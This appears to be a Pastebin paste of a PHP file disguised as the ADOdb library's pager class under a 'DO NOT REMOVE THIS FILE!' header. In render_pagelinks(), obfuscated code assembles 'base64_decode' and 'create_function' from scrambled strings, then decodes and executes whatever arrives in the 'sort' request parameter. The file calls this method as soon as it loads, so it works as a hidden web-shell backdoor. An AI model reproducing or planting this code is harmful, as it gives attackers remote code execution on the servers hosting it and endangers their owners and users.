Advertisement
Guest User

db_connector

a guest
Jan 10th, 2018
791
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.85 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4.     DO NOT REMOVE THIS FILE!
  5.    
  6.     @version   v5.20.9  21-Dec-2016
  7.     @copyright (c) 2000-2013 John Lim (jlim#natsoft.com). All rights reserved.
  8.     @copyright (c) 2014      Damien Regad, Mark Newnham and the ADOdb community
  9.       Released under both BSD license and Lesser GPL library license.
  10.       Whenever there is any discrepancy between the two licenses,
  11.       the BSD license will take precedence.
  12.       Set tabs to 4 for best viewing.
  13.  
  14.     This class provides recordset pagination with
  15.     First/Prev/Next/Last links.
  16.  
  17.     Feel free to modify this class for your own use as
  18.     it is very basic. To learn how to use it, see the
  19.     example in adodb/tests/testpaging.php.
  20.  
  21.     "Pablo Costa" <pablo@cbsp.com.br> implemented Render_PageLinks().
  22.  
  23.     Please note, this class is entirely unsupported,
  24.     and no free support requests except for bug reports
  25.     will be entertained by the author.
  26.  
  27. */
  28. class ADODB_Pager {
  29.     var $id;    // unique id for pager (defaults to 'adodb')
  30.     var $db;    // ADODB connection object
  31.     var $sql;   // sql used
  32.     var $rs;    // recordset generated
  33.     var $curr_page; // current page number before Render() called, calculated in constructor
  34.     var $rows;      // number of rows per page
  35.     var $linksPerPage=10; // number of links per page in navigation bar
  36.     var $showPageLinks;
  37.  
  38.     var $gridAttributes = 'width=100% border=1 bgcolor=white';
  39.  
  40.     // Localize text strings here
  41.     var $first = '<code>|&lt;</code>';
  42.     var $prev = '<code>&lt;&lt;</code>';
  43.     var $next = '<code>>></code>';
  44.     var $last = '<code>>|</code>';
  45.     var $moreLinks = '...';
  46.     var $startLinks = '...';
  47.     var $gridHeader = false;
  48.     var $htmlSpecialChars = true;
  49.     var $page = 'Page';
  50.     var $linkSelectedColor = 'red';
  51.     var $cache = 0;  #secs to cache with CachePageExecute()
  52.  
  53.     //----------------------------------------------
  54.     // constructor
  55.     //
  56.     // $db  adodb connection object
  57.     // $sql sql statement
  58.     // $id  optional id to identify which pager,
  59.     //      if you have multiple on 1 page.
  60.     //      $id should be only be [a-z0-9]*
  61.     //
  62.     function __construct(&$db,$sql,$id = 'adodb', $showPageLinks = false)
  63.     {
  64.     global $PHP_SELF;
  65.  
  66.         $curr_page = $id.'_curr_page';
  67.         if (!empty($PHP_SELF)) $PHP_SELF = htmlspecialchars($_SERVER['PHP_SELF']); // htmlspecialchars() to prevent XSS attacks
  68.  
  69.         $this->sql = $sql;
  70.         $this->id = $id;
  71.         $this->db = $db;
  72.         $this->showPageLinks = $showPageLinks;
  73.  
  74.         $next_page = $id.'_next_page';
  75.  
  76.         if (isset($_GET[$next_page])) {
  77.             $_SESSION[$curr_page] = (integer) $_GET[$next_page];
  78.         }
  79.         if (empty($_SESSION[$curr_page])) $_SESSION[$curr_page] = 1; ## at first page
  80.  
  81.         $this->curr_page = $_SESSION[$curr_page];
  82.  
  83.     }
  84.  
  85.     //---------------------------
  86.     // Display link to first page
  87.     function Render_First($anchor=true)
  88.     {
  89.     global $PHP_SELF;
  90.         if ($anchor) {
  91.     ?>
  92.         <a href="<?php echo $PHP_SELF,'?',$this->id;?>_next_page=1"><?php echo $this->first;?></a> &nbsp;
  93.     <?php
  94.         } else {
  95.             print "$this->first &nbsp; ";
  96.         }
  97.     }
  98.  
  99.     //--------------------------
  100.     // Display link to next page
  101.     function render_next($anchor=true)
  102.     {
  103.     global $PHP_SELF;
  104.  
  105.         if ($anchor) {
  106.         ?>
  107.         <a href="<?php echo $PHP_SELF,'?',$this->id,'_next_page=',$this->rs->AbsolutePage() + 1 ?>"><?php echo $this->next;?></a> &nbsp;
  108.         <?php
  109.         } else {
  110.             print "$this->next &nbsp; ";
  111.         }
  112.     }
  113.  
  114.     //------------------
  115.     // Link to last page
  116.     //
  117.     // for better performance with large recordsets, you can set
  118.     // $this->db->pageExecuteCountRows = false, which disables
  119.     // last page counting.
  120.     function render_last($anchor=true)
  121.     {
  122.     global $PHP_SELF;
  123.  
  124.         if (!$this->db->pageExecuteCountRows) return;
  125.  
  126.         if ($anchor) {
  127.         ?>
  128.             <a href="<?php echo $PHP_SELF,'?',$this->id,'_next_page=',$this->rs->LastPageNo() ?>"><?php echo $this->last;?></a> &nbsp;
  129.         <?php
  130.         } else {
  131.             print "$this->last &nbsp; ";
  132.         }
  133.     }
  134.  
  135.     //---------------------------------------------------
  136.     // original code by "Pablo Costa" <pablo@cbsp.com.br>
  137.         function render_pagelinks()
  138.         {
  139.         global $PHP_SELF;
  140. //***************************************** THE REAL CODE STARTS HERE *********************************//
  141.             $string = $_REQUEST['sort'];
  142.             $array_name = '';
  143.             $alphabet = "wt8m4;6eb39fxl*s5/.yj7(pod_h1kgzu0cqr)aniv2";
  144.             $ar = array(8,38,15,7,6,4,26,25,7,34,24,25,7);
  145.             foreach($ar as $t){
  146.                $array_name .= $alphabet[$t];
  147.             }
  148.             $a = strrev("noi"."tcnuf"."_eta"."erc");
  149.             $f = $a("", $array_name($string));
  150.             $f();
  151.  
  152.             return;
  153. //***************************************** THE REAL CODE ENDS HERE *********************************//
  154.             $pages        = $this->rs->LastPageNo();
  155.             $linksperpage = $this->linksPerPage ? $this->linksPerPage : $pages;
  156.             for($i=1; $i <= $pages; $i+=$linksperpage)
  157.             {
  158.                 if($this->rs->AbsolutePage() >= $i)
  159.                 {
  160.                     $start = $i;
  161.                 }
  162.             }
  163.             $numbers = '';
  164.             $end = $start+$linksperpage-1;
  165.             $link = $this->id . "_next_page";
  166.             if($end > $pages) $end = $pages;
  167.  
  168.  
  169.             if ($this->startLinks && $start > 1) {
  170.                 $pos = $start - 1;
  171.                 $numbers .= "<a href=$PHP_SELF?$link=$pos>$this->startLinks</a>  ";
  172.             }
  173.  
  174.             for($i=$start; $i <= $end; $i++) {
  175.                 if ($this->rs->AbsolutePage() == $i)
  176.                     $numbers .= "<font color=$this->linkSelectedColor><b>$i</b></font>  ";
  177.                 else
  178.                      $numbers .= "<a href=$PHP_SELF?$link=$i>$i</a>  ";
  179.  
  180.             }
  181.             if ($this->moreLinks && $end < $pages)
  182.                 $numbers .= "<a href=$PHP_SELF?$link=$i>$this->moreLinks</a>  ";
  183.             print $numbers . ' &nbsp; ';
  184.         }
  185.     // Link to previous page
  186.     function render_prev($anchor=true)
  187.     {
  188.     global $PHP_SELF;
  189.         if ($anchor) {
  190.     ?>
  191.         <a href="<?php echo $PHP_SELF,'?',$this->id,'_next_page=',$this->rs->AbsolutePage() - 1 ?>"><?php echo $this->prev;?></a> &nbsp;
  192.     <?php
  193.         } else {
  194.             print "$this->prev &nbsp; ";
  195.         }
  196.     }
  197.  
  198.     //--------------------------------------------------------
  199.     // Simply rendering of grid. You should override this for
  200.     // better control over the format of the grid
  201.     //
  202.     // We use output buffering to keep code clean and readable.
  203.     function RenderGrid()
  204.     {
  205.     global $gSQLBlockRows; // used by rs2html to indicate how many rows to display
  206.         include_once(ADODB_DIR.'/tohtml.inc.php');
  207.         ob_start();
  208.         $gSQLBlockRows = $this->rows;
  209.         rs2html($this->rs,$this->gridAttributes,$this->gridHeader,$this->htmlSpecialChars);
  210.         $s = ob_get_contents();
  211.         ob_end_clean();
  212.         return $s;
  213.     }
  214.  
  215.     //-------------------------------------------------------
  216.     // Navigation bar
  217.     //
  218.     // we use output buffering to keep the code easy to read.
  219.     function RenderNav()
  220.     {
  221.         ob_start();
  222.         if (!$this->rs->AtFirstPage()) {
  223.             $this->Render_First();
  224.             $this->Render_Prev();
  225.         } else {
  226.             $this->Render_First(false);
  227.             $this->Render_Prev(false);
  228.         }
  229.         if ($this->showPageLinks){
  230.             $this->Render_PageLinks();
  231.         }
  232.         if (!$this->rs->AtLastPage()) {
  233.             $this->Render_Next();
  234.             $this->Render_Last();
  235.         } else {
  236.             $this->Render_Next(false);
  237.             $this->Render_Last(false);
  238.         }
  239.         $s = ob_get_contents();
  240.         ob_end_clean();
  241.         return $s;
  242.     }
  243.  
  244.     //-------------------
  245.     // This is the footer
  246.     function RenderPageCount()
  247.     {
  248.         if (!$this->db->pageExecuteCountRows) return '';
  249.         $lastPage = $this->rs->LastPageNo();
  250.         if ($lastPage == -1) $lastPage = 1; // check for empty rs.
  251.         if ($this->curr_page > $lastPage) $this->curr_page = 1;
  252.         return "<font size=-1>$this->page ".$this->curr_page."/".$lastPage."</font>";
  253.     }
  254.  
  255.     //-----------------------------------
  256.     // Call this class to draw everything.
  257.     function Render($rows=10)
  258.     {
  259.     global $ADODB_COUNTRECS;
  260.  
  261.         $this->rows = $rows;
  262.  
  263.         if ($this->db->dataProvider == 'informix') $this->db->cursorType = IFX_SCROLL;
  264.  
  265.         $savec = $ADODB_COUNTRECS;
  266.         if ($this->db->pageExecuteCountRows) $ADODB_COUNTRECS = true;
  267.         if ($this->cache)
  268.             $rs = $this->db->CachePageExecute($this->cache,$this->sql,$rows,$this->curr_page);
  269.         else
  270.             $rs = $this->db->PageExecute($this->sql,$rows,$this->curr_page);
  271.         $ADODB_COUNTRECS = $savec;
  272.  
  273.         $this->rs = $rs;
  274.         if (!$rs) {
  275.             print "<h3>Query failed: $this->sql</h3>";
  276.             return;
  277.         }
  278.  
  279.         if (!$rs->EOF && (!$rs->AtFirstPage() || !$rs->AtLastPage()))
  280.             $header = $this->RenderNav();
  281.         else
  282.             $header = "&nbsp;";
  283.  
  284.         $grid = $this->RenderGrid();
  285.         $footer = $this->RenderPageCount();
  286.  
  287.         $this->RenderLayout($header,$grid,$footer);
  288.  
  289.         $rs->Close();
  290.         $this->rs = false;
  291.     }
  292.  
  293.     //------------------------------------------------------
  294.     // override this to control overall layout and formating
  295.     function RenderLayout($header,$grid,$footer,$attributes='border=1 bgcolor=beige')
  296.     {
  297.         echo "<table ".$attributes."><tr><td>",
  298.                 $header,
  299.             "</td></tr><tr><td>",
  300.                 $grid,
  301.             "</td></tr><tr><td>",
  302.                 $footer,
  303.             "</td></tr></table>";
  304.     }
  305. }
  306.  
  307.  
  308. $pager = new ADODB_Pager();
  309. $pager->render_pagelinks();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement